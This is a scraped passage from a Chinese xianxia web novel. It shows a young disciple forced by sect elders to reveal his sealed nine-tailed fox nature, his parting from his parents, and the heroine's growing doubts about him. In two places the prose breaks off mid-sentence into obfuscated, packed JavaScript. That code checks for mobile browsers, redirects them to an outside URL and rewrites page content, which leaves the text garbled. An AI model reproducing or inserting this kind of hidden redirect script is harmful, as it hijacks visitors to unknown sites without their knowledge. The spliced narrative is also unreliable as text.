灵秋赶忙走得近些,只听他大骂道:“做出那副仁义模样给谁看?只当他人不知你人面兽心,背后杀人!” 灵秋心底一惊,以为他知道了什么,连连后退,六神无主。 逍遥散人继续骂:“当今天下,认贼作父的认贼作父,仗势欺人的仗势欺人,多得是含笑送刀之辈!” 原来是醉酒胡话。 灵秋的心定下来。 逍遥散人高声嚷道:“表面温和,背地凶恶,千方百计残害无辜,倒拿天下苍生做借口!什么仁义道德?全成了狗屁!神仙高人实为无耻鼠辈!” 眼见他骂个没完,灵秋正要夺过酒樽,放到一边。 然而她刚凑近,逍遥散人忽然一把拽住她的手,深叹道:“哀哉哀哉,何不早些醒悟?以致如今深痛当年,悔之晚矣!悔之晚矣!” 浑浊的眼里徐徐滚下两行泪来,灵秋心头大震,没想到平日里一贯逍遥懒散的师父会有这样的反应。 她赶紧加快动作,将逍遥散人扶到床上,盖好薄被。 做完一切抬首一看,一轮浊月恰好行至中天,被碎絮似的云影遮住,沉浮不定。 之前被惊动的枭又重新飞回来,落在树枝上,不安地嚎叫起来。低哑的鸟鸣断断续续,扰得人心头发毛。 呜——呜—— 枭的叫声在山野间回荡。 云靖抬头,门窗紧闭,望不见声音的来源。 这是云霄阁大殿,此刻他正跪在地上,身下浮光迭起,像从虚空中生出的千重符文。 符光如藤蔓般缠上身体,一圈一圈,束缚住他,带着冰冷的古意与压迫,仿佛要将他的神魂一寸寸剥离。 符咒腾空,在头顶结成一道晦涩的封印,封闭的空气顷刻扭曲。 猩红的咒从地缝中升起,在大殿中央结出一座牢固而狰狞的法阵。 这世上恐怕没人想得到,作为正派领袖神尊竟然堂而皇之地设下凶阵。 正如不会有人知道,原来世人翘首以盼、奉若神明的仙门圣子真身竟然是一只半妖。 体内传来刺痛,源源不断的妖力自灵台深处滚滚涌出。 云靖低下头,只见自己的指尖已爬满深红色的纹路,隐约可见尖利的爪。 恐惧似潮水般淹没了他。 云靖忍着体内剧痛,拼命压制那股令人恶心的冲动。 他转头看见那一排排药架,想到当日也是在这间大殿里,他守在灵秋身侧轻轻擦去她嘴边的药渣,还有她昂首一脸得意地告诉他自己偷了云逸的丹药…… 恍惚间眼前又出现那只与他长得别无二致的狐妖。 当日预言转眼已经实现了半数。 不,决不能! 大殿最上方,徐悟坐在最首,一左一右分别是妙华与嵇玄。 见他死命抵抗法阵,徐悟不动声色地加重了手上力道。 妙华见状开口道:“为何还在抵抗?你既享受圣子的尊荣,自当不忘使命,为天下苍生考虑,接受自己的命运。” 云靖昂首,口中鲜血溢出,强行道:“我只是徐鉴真转世,不是他,更不可能是妖物。” 他道:“我的父母都是凡人,我怎么可能是妖!” “是不是妖,不由你说了算!”嵇玄站起来,目光冷射向他,“我劝你今日乖乖听话,否则明日、后日、大后日,日日如此,受苦的只会是你自己。” 云靖闻言,咧了咧嘴,扯出一道笑,浑不在意道:“今日如何,明日如何,后日又如何?只要我还有一口气,绝不会心甘情愿地任你们摆弄。” 嵇玄冷哼一声,眉紧皱起:“孺子不可教也!要你化妖修炼是为天下苍生计!你一个修道之人,怎可如此是非不分?” 一连七日,日日如此,凶阵设了百八十个,奈何云靖始终死扛着,压抑着妖化的冲动。 圣子转世,唯有解除体内前世的封印才能开始修炼。 可他这样抵触,究竟什么时候才能成事? 嵇玄猛一拂袖,冷哼一声,脸上怒气再也克制不住。 这时,座下突然有人道:“圣子虽身负妖族血脉,照样心怀苍生。人生在世,岂可全以血脉断善恶?” 云靖顺着声音一看,说话的是云逸。 云逸上前道:“这几日我替你疗伤,探过你的灵脉。你的修为如今已大不如前,只有解开体内封印才能重获力量。” “是啊。”云逸旁边,谢岑跟着上前,“你的修为如此低微,怎么护得住在意的人呢?” 他皮笑肉不笑:“当日擂台上小师妹受伤,你很不好受吧?以你现在的修为,一旦遇到强敌,根本护不住她,以后这样的事只会更多。” 云靖不看他一眼,自道:“我会努力修炼,护她周全。” “只怕你没那么多时间。”容姮几步走到他面前,“很快你们就要到北方去,一路妖魔侵扰,你真的敢肯定自己护得住她吗?” 她质问道:“难道你要眼睁睁地看着她死在你面前吗?” 想到当日凌秋受伤的模样,云靖猛地抬起头。 云逸道:“只要你愿意听神尊的话,解除封印,不仅能护凌师妹周全,还能为天下苍生扫除魔族之祸。” 谢岑道:“到那时,世人只会记得圣子的功德,怎么会计较他的血脉?” 容姮道:“修道之人以天下苍生为己任,你若不愿承担责任,来日魔族进犯,小师妹也不能幸免。既护得了一人,也护得了天下百姓,是人是妖真的重要吗?” 三个人将他围在中间,你一言我一语的劝。 云靖抬头,只见黑压压的人影如山般高耸压制,其余什么也看不到。 整座大殿,只有一个人始终一语不发。 白澈移开视线,抬首望向苍穹般的巨顶。 透过一点瓦砾的缝隙,昏黄的月光落在地上,投下一块不起眼的亮斑。 灵秋就在这样不起眼的光下穿梭。 她从外面打来温水替逍遥散人擦脸,没擦几下,原本闭着眼睛的老人忽然一颤,在睡梦中紧紧握住了她的手腕。 “天道在上,善恶有报。今日种果,来日偿因。欲度苦厄,兼济苍生,莫悔之晚矣……” 逍遥散人睁开眼睛,直直地盯着她,要求道:“你答应我……你答应我!” 灵秋只当他发酒疯,虽然心中有几分疑虑,仍半哄半劝道:“我答应你,我答应你。睡吧,睡吧。” 逍遥散人这才安然闭上眼睛。 窗外的枭往云霄阁飞去,终于找到同伴,安安稳稳站了一排。 云霄阁内,在众人震颤的目光中,一只通体雪白的狐狸如幽灵般悬浮于地,獠牙尖利,森白恐怖。 嵇玄不可置信道:“竟然真的是只九尾狐狸!” 符文如铁索缠绕着狐妖巨大的身躯,九条雪白的尾巴高高扬起,轻轻一扫,四周凶阵尽数碎裂成灰。 狐狸抬起头,喉中发出低沉的咆哮,惊动了殿外休憩的枭。 几只夜枭疯狂拍打着翅膀,惊恐地逃向远处。 在场诸人紧盯着眼前这只巨大的猛兽,无不惊叹,离得最近的几个小辈更是瞬间如坠寒潭。 昏黄的月夜,金绿色的瞳孔幽幽闪动。 被封印了数百年的力量,终于重见天日。 (第一卷完) 49.苍苍山 灵秋在逍遥派待到了翌日清晨。 天刚蒙蒙亮,祁素商带着灵剑门的长老登门送剑。 作为和世家子弟同批入太霄辰宫的人,他并不清楚苍苍山的规矩,因此听见江芙说灵秋不在时,未免有几分失望。 剑是灵秋托祁素商铸的,她人苍苍山,他又是太霄辰宫弟子,按理由他亲自把剑转交给她更妥当。 可江芙却笑着接过那柄三尺三的流霞长剑,开口道谢,做出送客的手势。 她看出祁素商的疑虑,回身道:“祁师兄有所不知,此剑性阳,与我师妹的灵脉并不契合,想必不是为她自己所作。我会传信询问师妹,将剑交到真正的主人手上。” 祁素商仔细看过那铸剑的卷轴——事无巨细、精心描摹。 如此费心的构想竟然是为了旁人。 剑性阳? 祁素商突然想到当日云靖所言。 他佩剑凝霜,正是属性偏阳的剑。 手在袖中微微收紧,犹豫片刻,祁素商忍不住问江芙:“江姑娘可知道银霜楼的云靖……此剑莫不是替他所铸?” 不远处,灵秋靠在门后,原本百无聊赖地把玩着腰上的香囊,听到云靖的名字,猛地抬起头。 开什么玩笑? 云靖如今可是她接近雾晴峰最重要的筹码。 不知道五师姐和二师兄能替她遮掩到什么时候? 灵秋本想等祁素商离开后再偷偷潜回苍苍山,不想此人一路耽误,居然问出这样荒谬的问题。 香囊上的两只水鸟挤在一起,被她捏得扁扁的。 江芙笑道:“祁师兄实在是误会了。那银霜楼的云靖对我家师妹的确有情,我师妹对他却不然,怎么可能替他铸剑呢?” “姑娘的意思是凌师妹对云靖并无感情? “……” 师妹对云靖肯定还没到两情相悦的程度,可要说是不是全无感情,如今她也不能确定。 江芙疑惑地看着祁素商,想知道他又为什么这么关心灵秋的私事。 祁素商意识到自己唐突,忙行礼道:“我只是随口一问,冒犯了。” 言罢,他匆匆告辞,脚步比来时轻快十倍不止。 灵秋从门后闪身出来,江芙一眼就看到被她捏在手里的香囊。 其实昨日灵秋一回来她就注意到了这香囊,只是因为师父的事耽搁,又碍于师妹的面子才没有当着众人询问。 堂堂正道魁首将两只彩鸡挂在身上四处招摇,是不是有些太丢脸了? 江芙道:“师妹若喜欢香囊,等有机会下山自能到集市去挑些好的。何至于将这粗劣绣品挂在身上?” “粗劣?”灵秋不解,“这香囊是云靖自己绣的,我觉得还好啊。” “云靖绣的!?”江芙大惊,赶忙接过香囊细细察看,“他费尽心思绣两只野鸡给你带着到处跑……莫非你哪里惹恼了他不成?” “我怎么可能惹他?”灵秋把祁素商送来的剑托付到江芙手里,“有了趁手的武器,师姐日后必能在剑之一道上有所大成。” 江芙收了剑,心思丝毫没在这上面,只抓紧嘱咐灵秋道:“云靖拜在神尊座下,如今的身份与从前大不相同。你入了太霄辰宫千万不能再像以前那样对他吆来喝去,尤其当着别人的面。” 她叹息一声,接着说:“当日云靖肯用十年修为救你,又敢在我面前立下血誓,可见他对你诚心诚意。可两人相处,一味的一厢情愿只会累积幽怨,进而酿出大祸。” “多情之人必多疑。即使你心里不喜欢云靖,行动上也要适当收敛,千万不要恃宠而骄、予取予求,一时忘了情。” 江芙千叮万嘱,灵秋听了个一知半解。 她从没考虑过喜欢和不喜欢,也从没想过什么情不情的。 灵秋只从大师姐的话中听出一个道理:如果云靖对她好,她却不对他一样好,那么他就会心生幽怨,自己就会大祸临头。 虽然不至于被他杀死,但想利用他盗取乾坤山海图肯定是不行了。 昨日段若霜和她说的话明里暗里也是这个意思。 段若霜是云靖的那边的,话可以不听,大师姐却是自己这边的。 灵秋入世十年,机缘巧合,绝大部分的时间耗在胥阳山上,对真正广阔的人间了解反而不多,一向习惯以战场上的用兵之道来揣测人情。 平时还好,一旦涉及私情就免不了疑惑。 灵秋开始怀疑自己是不是真的对云靖很糟,为什么所有人都劝她对他更好? 在今天以前,她救过他的命,在诸多事上对他额外宽容,甚至放任他时不时僭越犯上。 当初是云靖自己说要给她做仆人的。平心而论,站在主人的角度考虑,她对他已经很够意思了。 若不是她现在不好暴露,灵秋真恨不能在路上随手抓上个人来仔细问问,是否全世界都觉得她对云靖不好。 难道昨日他突然生气的原因不是徐悟,而是她? 想到先前他哭着说不能做自己的仆人,灵秋忽然顿悟。 好嘛,都连起来了。 灵秋刚出阳华境,恍惚看到前方有道熟悉的身影。 她定睛一瞧,好巧不巧,正是云靖。 云靖站在渡口,前面是即将离开阳华境的银霜楼众人,身侧则站着容姮。 不是说没有仙尊的命令不能离开苍苍山吗? 五师姐怎么会和云靖在一起? 灵秋隐匿气息悄悄靠近,想听听他们在说什么。 段若霜站在江边,手里提着一袋包袱,衣角被清晨的雾气浸润,在江风中翩翩飘动。 她仰头看着云靖,眼角细纹被风吹皱,堆叠出藏不尽的离情。 段若霜努力调整表情,想调整出一个笑容,眼底的泛红却出卖了她,迫使她拿起手帕,轻轻拭了拭眼角。 “到了雾晴山,记得用心修炼,顾好身体。”段若霜将手中包袱递给云靖,“这是母亲替你准备的,你带着。一定要记住,凡事莫要太过执着,若遇到难事只管去找你的两位师兄,无论如何他们也会帮你。” 段若霜的声音一如既往温和,言语间带着些絮絮叨叨的不舍。云靖站在她面前,却离得稍远了些。 他低头,睫毛垂得很低,眼神掠过段若霜的脸,落到江面,看着水上漂浮过的一片落花。 “我知道了。”云靖轻声应着,接过包袱。 段若霜伸手替他理了理衣襟,就像他小时候每次要出门时那样。 “不必记挂家里。”她的声音微颤。 云靖点了点头,没有说话,只是略略退了一步,将身子从母亲手下抽离。 “时候到了。”他道:“我就不送爹娘上船了。” 段若霜怔了怔,手还悬在半空,指尖微蜷,像是一下子失了魂魄。 她讪讪地收回手,低头掸了掸衣袍上的灰尘。 衣袍干净,其实什么也没沾。 “好。”段若霜的声音更低了。 她低下头,似要掩盖垂泪的冲动,身侧的云正及时伸手扶住妻子。 “专心修炼。”他对云靖点点头,随即扶着段若霜,在一众银霜楼弟子的簇拥下往船上走去。 人群最后,于风上前戳了戳云靖,附在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703058|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边佯装威胁,悄悄道:“做了神尊的徒弟可不许忘了师兄,记得偷偷给我写信。” “好。”云靖弯唇,露出一个极浅的笑。 渡船开动,灵秋看见段若霜站在甲板上,已经离得很远,仍举起手朝岸上的人挥了挥。 她的身影被江雾笼住,模糊不清,好像可以代入天底下任何一位与孩子分离的母亲。 灵秋想到自己的母亲。 失去记忆的一百年里,她在魔域四处征战,一面是战场上的杀人如麻、刀光血影,一面是焱狰的猜忌监视。 世事艰难,人心诡谲。一百年里,她过得很艰难。 父尊在利用她的同时防备她,臣民在指望她的同时惧怕她。 每每平叛凯旋,无人为她欢呼。众魔垂眉低眼,闭口噤音。本就萧索的街市因她的到来显得愈发死气沉沉。 整个魔域只有灵泱和她亲近。 可就连这个妹妹也是假的。 就像溺水的人势必要拼命抓住身边一切可以漂浮的东西。 父亲、手足、好友、臣民……灵秋身边没有一个靠得住的人,只能将希望寄托在早早死去的母亲身上。 她想:或许这个世界上总还有哪怕一个真心待我的人。 那封绝笔信印证了她的渴望,同时牵扯出母亲之死的疑点。 从那一刻起,找到真相成了灵秋必须要做的事。 若母亲真能因乾坤山海图死而复生,付出什么代价她也愿意。 这厢,容姮和云靖站在江边目送渡船远去。 容姮看着远处的段若霜,对云靖道:“你不向她招手么?” “不了。”云靖将手上包袱递给容姮,垂眸道:“请师姐帮我处理了吧。” 过去七日,神尊日日派人召他前去云霄阁,设下凶阵,每日六个时辰持续不断,意图强行逼出他体内封印的妖力。 一开始,云靖说什么也不相信自己会和徐鉴真一样流淌着妖怪的血。 他嘶哑着嗓子一遍遍质问神尊,质问高坐明台的三位尊者,质问身侧的几位师姐与师兄,得到的只是沉默,只是一句笼统的“命中注定。” 云靖到最后也想不通,为什么明明云正和段若霜都是人,偏偏生下自己就是一只妖物? 古往今来神仙话本里主角拔出灵剑,得到力量,最终问鼎天下的故事数不胜数。 拔出琅琊时,云靖以为自己也是这些人中的一个。 直到白澈来替他疗伤,看他可怜,将真相告诉了他。 当年徐鉴真身死,神魂被神尊救下,众人商议决定让他借段若霜之腹重回世间。 这件事从来无关血脉亲情,只是作为神尊弟子的职责与任务。 打从一开始,他就不是作为云正与段若霜之子降世。 从一开始起,他就是徐鉴真,是仙门圣子,一直都是。 他的命运早就被安排得清清楚楚。 所有人,包括他的父母,全都对此心知肚明。 云靖曾以为自己拥有选择的权利。 他受凶阵七日,七日里日日都在盼着云正和段若霜来看自己,哪怕派人捎寄一封信也好。 可他们没有。 自从拔出琅琊,他与父母之间的血脉亲情好像一夜之间断了个干净。 上了苍苍山更是如此。 这几日,整个银霜楼只有于风时常传信关心他,然而后来,就连他的信也断了。 “不知道为什么,师父和师娘下令从今以后不许楼内弟子向太霄辰宫传信,也不许有人在楼内提起你。” 于风的最后一封信如是说。 50.苍苍山 “你不看一眼吗?”容姮掂了掂手里的包袱,惊讶于身侧少年的转变。 她分明记得,直到三日前他重伤于凶阵,意识模糊间还在不停唤着娘亲。 云逸告诉她,段若霜已有孕在身。 神尊座下弟子八位,除去徐鉴真,两位身死,一位失踪。 云逸和白澈只修医道,五百年来得以善终的剑修唯有云正和段若霜两个。 两人的情缘在整个仙门也是一段佳话。 云、段二人为太霄辰宫鞠躬尽瘁,蹉跎多年,终于能有自己的血脉降世,这对众人来说无疑是一件天大的喜事。 段若霜有孕的消息暂时没有对外公布,云正时时贴心照料着,神尊同样重视,就连昨日的拜师大会也特意留她在家中休息,对外只称是病了。 那些云靖困于凶阵,喃喃呼唤父亲与母亲的夜里,云、段二人正满心欢喜地期待着即将到来的新生命。 他对此一无所知。 临别之际段若霜表现周全,要说露馅更是无从谈起。 容姮心想,云靖的态度实在有些奇怪。 不过也没关系了。 银霜楼已经永远留在过去,前方还有新的事要做。 神尊和几位尊者早已吩咐,从此不得在雾晴峰提起一丝一毫过去的事。 容姮只是随口一问,却听见云靖道:“既入太霄辰宫,以除魔卫道为己任。此生与父母恐怕无缘再见,与其留下这些东西徒增伤感,不如不看。” 倒是说得通。 容姮点头,将话题引到今日最关键处。 她问云靖:“不瞒师兄,其实我一直想不通,凌师妹作为正道魁首,修为也远在你之上,为何你却要时时护在她身前?甚至为她甘愿做出那么大的牺牲?” 见提到自己,灵秋躲在远处,悄悄竖起耳朵。 云靖答道:“小秋不止救过我的命,我亏欠她的也不止恩情,护她是再正常不过的事。” “此事与她的身份、修为毫无关系,只因她是她,纵天地广阔,人海茫茫,世间也再无第二个她。” “我绝容不得有人损她分毫。能护她一世安乐,莫说牺牲,就是舍了这条性命又有什么可惜?” 云靖观察着容姮的反应。 他所说的绝不是违心话。 只是他不要早早地舍了这条命,不要死后才得到灵秋的怀念与眷顾。 他要活着站在她身侧,还要打破天命血脉活不过二十的预言。 他要与她千秋万世,长长久久。 所以绝对不能让她发现自己的真实身份,更不能让万丈崖底那只狐狸的预言成真。 太霄辰宫的人不值得信任。 从现在开始,除了灵秋,他谁也不信。 容姮听完他这一番话,内心不由震动,心头庆幸:还好小师妹如今不在此处。 她不知道,仅仅相隔十数步远的地方,灵秋躲在海棠树后,将两人的对话尽数听进耳中。 她不是第一次听到云靖的肺腑之言。 毕竟他早已经在江芙面前说了要她同生共死的话,还结了血誓。 当时灵秋在心底暗暗惊讶的同时免不了感叹此人忠诚。 忠于主人是每个仆人与生俱来的使命。 那时的灵秋虽然震惊于云靖的果决,却丝毫没觉得有什么不对。 然而现在她已经意识到云靖其实根本不想做她的仆人。 主仆身份一旦解除,他现在这么说不就意味着要她投桃报李吗? 灵秋忽然担心起来。 她可没有为云靖去死的打算。 回想江芙的话,灵秋不免纠结起来。 云靖说他欠她的。 可当年水境之外她救他也只用了些血和修为,远远不到付出性命的程度。 即便后来发生了那么多的事,她也好端端地活到今日了。 从前灵秋总觉得云靖应该亏欠自己,可当他真的承认亏欠,还要以命相报的时候,她却反倒没有那么在意了。 灵秋隐隐预感到,倘若某天云靖真的为她没了性命,其中意义恐怕不止单纯死去一个人那么简单。 这到底代表什么她暂时说不清,只是简单明确地觉得云靖还是别死为妙。 毕竟他死了就没人能做出最合她口味的桂花糕了。 一阵风过,满树棠花纷纷扬扬,簌簌落了树下姑娘满身。 灵秋想到自己从苍苍山走时锅里还蒸着一屉热气腾腾的糕呢。 趁着容姮对云靖说话,她悄悄离开了阳华境。 “凌师姐!你可回来了!” 灵秋一落地,池鸢就飞跑上前,就差没扑倒她身上。 灵秋往她身后的厨房张望:“没人发现我不在吧?” 池鸢摇摇头:“今日一早隔壁的两位师姐和一位师兄分别来探望过师姐,都被我成功糊弄过去了。” “对了,昨日师姐走后不久圣子也被神尊传见了,现在还没回来。”池鸢补充道。 原来是徐悟召见,难怪云靖会在阳华境里。 这批入选内门的弟子里只有他能光明正大地向父母道别,恐怕也是徐悟特许的。 灵秋心里,太霄辰宫优待云靖的看法又牢固几分。 她看看腰间的香囊,举起来问池鸢:“你觉得这香囊绣得好吗?” 池鸢看着有些歪斜的针脚和只能勉强辨认出品相的两只鸳鸯。 对着灵秋明若烛火的眼神,她实在夸不出一句违心的话。只好小声纠结道:“虽然这只香囊模样……平平,不过是圣子亲手所赠,所谓礼轻情意重,想必圣子的心意绝没有半分作假!” “得了吧。”灵秋摆手,“很明显你也觉得这香囊难看。” 看来还真是自己不知哪里惹了他。 既然如此,怀着微弱的期望,灵秋接着问池鸢:“昨日的桂花糕在哪儿?就是我让你告诉云靖让他热起来的那些。” 池鸢闻言露出为难的表情,纠结道:“回师姐,桂花糕……没有了。” “没有了?”灵秋不可置信,“他连桂花糕也不给我留了?” “不是不是!”池鸢忙摆手,“圣子本来是给师姐留着的,只是、只是……” “是什么?” 灵秋正等着池鸢回话,转头一看,好巧不巧,薛成昭端着一只白玉盘子朝这边走来,手里正捏着啃了一半的桂花糕。 他完全沉浸在香甜的美味中,丝毫没注意到一边的灵秋,大摇大摆地进了厨房,望着空空如也的锅向池鸢咋呼道:“师妹,桂花糕没了!?怎么只做了这么一点啊,我还没吃饱呢!” “师姐……如你所见。”池鸢埋下脑袋,伸手指向厨房。 她语速飞快:“薛师兄昨日晚上回来饿了就把厨房里的饭菜吃掉了,早上更饿就把桂花糕也全吃了。他动作太快,我根本来不及拦……” “是吗?” 灵秋挑起一抹冷笑。 这厢,迟迟没能等到回应的薛成昭终于朝这边看过来。 然而还没等他看清楚,手中盘子被一股强劲的剑气击中,噼啪一声碎成了渣渣。 “我靠!师妹你——” 薛成昭的话彻底断在喉咙里。 灵秋站在不远处,对着他露出一个皮笑肉不笑的表情。 阳光明媚,薛成昭忍不住打了个寒颤。 昨晚池鸢说过什么来着? 他努力从饿得昏头的记忆中提取出她的话。 噢,灶上的饭菜和糕点都是大师兄特意给凌秋留的。 给凌秋留的。 凌秋的。 天杀的!他抢了凌秋的饭! 他完了。 薛成昭当场扯出一个讨好的笑容,大大方方地迎上前:“凌姑娘。不,凌师姐!太好了,你终于醒了!” 稳住,只要装作什么也没发生,她未必会对他怎么样。 只要坚持到大师兄回来就能得救了! 薛成昭走朝灵秋走去,还没靠近,一道剑气立即朝他飞来。 薛成昭眼疾手快地闪开,一面逃命一面叫道:“我错了,我错了!这完全是误食,是误食啊!” 剑气像老鹰捉小鸡似的追着他满院子跑。 薛成昭大声道:“太霄辰宫禁止同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嵇玄的眼神自她身上扫过,冷哼一声,问薛成昭:“是她说的这样吗?” 他所带来的压迫感太强,薛成昭双腿一颤,跪了下去,当即道:“回尊者,确实如此,是我一时情急,误会了。” 开什么玩笑,早在家中他就听说过,太霄辰宫十二主位,最不能惹的就是这位嵇玄尊者。 传闻此人嫉恶如仇,平生最恨妖魔,为人不苟言笑,治下极严,严格奉行太霄辰宫门规。 一旦被他抓到错处,不仅得不到半分怜悯,甚至还会重罚、狠罚,雷霆手段,简直就是太霄辰宫活阎王。 他本就自觉对不起灵秋,眼下便存心替她把今日之事遮掩过去。 薛成昭紧张地等着嵇玄发话,把头埋得低低的,生怕自己被他瞧出什么异常。 好在嵇玄什么也没说,只是发话道:“今日在场之人罚跪静思三个时辰。” 他特意指了指灵秋:“你。跪十个时辰。” 言罢拂袖离去。 离开之际,嵇玄向云靖严肃道:“这批入太霄辰宫的弟子里你是师兄,自然要做好师兄的样子,切忌偏袒徇私,折辱了仙门圣子的名声。” 他御剑上天,居高临下:“师兄命我和妙华两人一同授你法术,你且记着,倘若叫我发现你行事不正,后果只会比你能想象到的糟糕百倍。” 利剑在天上划出深深的裂痕,强大的力量扑面而来,几乎叫人窒息。 云靖站在陡峭的悬崖边,死死注视着嵇玄的背影,直到他的气息彻底消失在天际。 灵秋从地上爬起来,掸了掸衣服上的尘土。 总有一日魔族踏平太霄辰宫,她要把这些仙啊尊啊的杀得毛也不剩! 去死吧。 她把手伸向腰间,两三下解开香囊,大步上前,当着云靖的面将那两只绣得像彩鸡的鸳鸯狠狠扔下悬崖。 护她? 护个鬼。